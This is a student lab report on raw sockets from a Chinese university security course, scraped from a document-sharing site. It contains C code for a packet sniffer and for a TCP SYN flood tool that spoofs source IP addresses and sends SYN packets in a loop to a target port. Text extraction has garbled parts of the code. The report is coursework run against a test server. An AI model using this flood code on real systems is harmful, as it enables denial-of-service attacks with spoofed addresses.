ImageVerifierCode 换一换
格式:DOC , 页数:16 ,大小:115KB ,
资源ID:10334485      下载积分:10 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.docduoduo.com/d-10334485.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录   微博登录 

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(信息安全实践第十一次作业 原始套接字、.doc)为本站会员(精品资料)主动上传,道客多多仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知道客多多(发送邮件至docduoduo@163.com或直接QQ联系客服),我们立即给予删除!

信息安全实践第十一次作业 原始套接字、.doc

1、四 川 大 学 计 算 机 学 院、软 件 学 院实 验 报 告 学号: 姓名:专业:_软件工程_ 班级: 第 12 周 课程名称 信息安全产品开发实践 实验课时 4实验项目 原始套接字 实验时间 2013.11.29实验目的 利用原始套接字实现一个 TCP SYS flooding 程序实验环境 虚拟机 Red Hat Enterprise Linux-VMware Workstation 实验内容(算法、程序、步骤和方法)由于我们在这次实验中只需要对 IP 和 TCP 头部进行修改,所以使用的是网络层原始套接字。这个实验考验的是对 IP 和 TCP 报头结构体的了解,其实在之前的实验我们就

2、已经有所接触,在嗅探器中我们就是把接收到的数据包进行分解,分别先后解封 IP 头部,再解封 TCP 头部(越底层的数据越放在前面)。这一部分知识可以参考在老师的 demo 程序 packet.c,那是一个使用链路层套接字的嗅探器,不过在输出ip 地址那部分需要改动一下才能正常运行。下面把修改后的 packet 展示一下:#include #include #include #include #include #include #include #include #include #include int main(int argc, char *argv) int sock, n;char b

3、uffer2048;struct ethhdr *eth;struct iphdr *iph;struct tcphdr *tcph;if (0(sock=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP) perror(“socket“);exit(1);int num = 1;while (1) printf(“=n“);/注意:在这之前我没有调用 bind 函数,原因是什么呢?n = recvfrom(sock,buffer,2048,0,NULL,NULL);printf(“number: %d “,num+);printf(“%d bytes re

4、adn“,n);/接收到的数据帧头 6 字节是目的 MAC 地址,紧接着 6 字节是源 MAC地址。eth=(struct ethhdr*)buffer;printf(“Dest MAC addr:%02x:%02x:%02x:%02x:%02x:%02xn“,eth-h_dest0,eth-h_dest1,eth-h_dest2,eth-h_dest3,eth-h_dest4,eth-h_dest5);printf(“Source MAC addr:%02x:%02x:%02x:%02x:%02x:%02xn“,eth-h_source0,eth-h_source1,eth-h_source

5、2,eth-h_source3,eth-h_source4,eth-h_source5);iph=(struct iphdr*)(buffer+sizeof(struct ethhdr);/我们只对 IPV4 且没有选项字段的 IPv4 报文感兴趣/ if(iph-version =4 char addr_p2INET_ADDRSTRLEN;inet_ntop(AF_INET,inet_ntop(AF_INET,printf(“Source host:%sn“,addr_p1);printf(“Dest host:%sn“,addr_p2);if(iph-protocol=6) /TCP tc

6、ph=(struct tcphdr*)(buffer+sizeof(struct ether_header)+sizeof(struct ip);printf(“Sourport:%dn“,ntohs(tcph-source);printf(“Destport :%dn“,ntohs(tcph-dest);这里主要修改的地方是:1、原代码问题:在输出 ip 那部分需要利用 inet_ntop 函数,不然程序运行出问题。2、加入了 TCP 头部解封,输出源端口和目的端口,当然还要把相应的头文件加入。 其实只要把上面这程序和这次的 syn flood 结合起来再做点修改就可以做出一个 syn 端口

7、扫描器。(接上)实验内容(算法、程序、步骤和方法)而这次的 syn flood 程序中做的就是和嗅探器相反的工作:先封装 IP 头部,再封装 TCP 头部。 程序的主要流程就是:构造 IP 头部构造 TCP 头部发送数据。这是一个循环的过程(不停发送 syn 攻击),里面需要注意:1、TCP 头部中 syn 要标记为 1,其它皆为 0。2、每循环一次,伪装的源 IP 地址就要改一次,那 IP 头部的校验和就要重新计算,当底层的报头有所改变(IP 头部),那上层的头部TCP 头部的校验和同样要重新计算。有关检验部分,在运行 syn flood 程序之前,必须先运行一个服务器程序来作为攻击目标。关

8、于观测端口连接情况,老师提供的是 netstat -tn,如果想看得更加方便的话,可以使用netstat -tn | grep “:888”这样来监视某个端口。#include /printf #include /memset #include /for exit(0); #include #include /For errno - the error number #include #include /hostend #include #include /Provides declarations for tcp header #include /Provides declarations

9、for ip header unsigned short csum(unsigned short * , int ); struct pseudo_header /needed for checksum calculation unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; ; struct in_addr dest_ip; int mai

10、n(int argc, char *argv) /Create a raw socket int s = socket (AF_INET, SOCK_RAW , IPPROTO_TCP); if(s ihl = 5; iph-version = 4; iph-tos = 0; iph-tot_len = sizeof (struct ip) + sizeof (struct tcphdr); iph-id = htons (54321); /Id of this packet iph-frag_off = htons(16384); iph-ttl = 64; iph-protocol = I

11、PPROTO_TCP; iph-check = 0; /Set to 0 before calculating checksum iph-saddr = sour_ip.s_addr; /Spoof the source ip address iph-daddr = dest_ip.s_addr; iph-check = csum (unsigned short *) datagram, iph-tot_len 1); /TCP Header tcph-source = htons ( source_port ); tcph-dest = htons (atoi(argv2); tcph-se

12、q = htonl(1105024978); tcph-ack_seq = 0; tcph-doff = sizeof(struct tcphdr) / 4; /Size of tcp header tcph-fin=0; tcph-syn=1; tcph-rst=0; tcph-psh=0; tcph-ack=0; tcph-urg=0; tcph-window = htons ( 14600 ); / maximum allowed window size tcph-check = 0; /if you set a checksum to zero, your kernels IP sta

13、ck should fill in the correct checksum during transmission tcph-urg_ptr = 0; tcph-check = 0; / if you set a checksum to zero, your kernels IP stack should fill in the correct checksum during transmission psh.source_address = sour_ip.s_addr; psh.dest_address = dest.sin_addr.s_addr; psh.placeholder =

14、0; psh.protocol = IPPROTO_TCP; psh.tcp_length = htons( sizeof(struct tcphdr) ); memcpy( tcph-check = csum( (unsigned short*) dest.sin_family = AF_INET; dest.sin_addr.s_addr = dest_ip.s_addr; /Send the packet if ( sendto (s, datagram , sizeof(struct iphdr) + sizeof(struct tcphdr) , 0 , (struct sockad

15、dr *) nbytes-=2; if(nbytes=1) oddbyte=0; *(u_char*) sum+=oddbyte; sum = (sum16)+(sum sum = sum + (sum16); answer=(short)sum; return(answer); 下面让我们看一下运行效果:运行 syn flood 程序,使用不同的伪装 IP 攻击:然后检验结果:数据记录和计算 结 论(结 果) 通过小 结 这次实验虽然不难,但是比较重要,如果只是单纯得制作普通的网络程序的话,一般的 socket 编程足以完成,但是如果想深入探究网络服务本身,想利用 rfc 的规则制造底层的扫描器、嗅探器、防火墙、网络攻击等等,学习网络底层的编程知识很重要。指导老师评 议 成绩评定: 指导教师签名:

本站链接:文库   一言   我酷   合作


客服QQ:2549714901微博号:道客多多官方知乎号:道客多多

经营许可证编号: 粤ICP备2021046453号世界地图

道客多多©版权所有2020-2025营业执照举报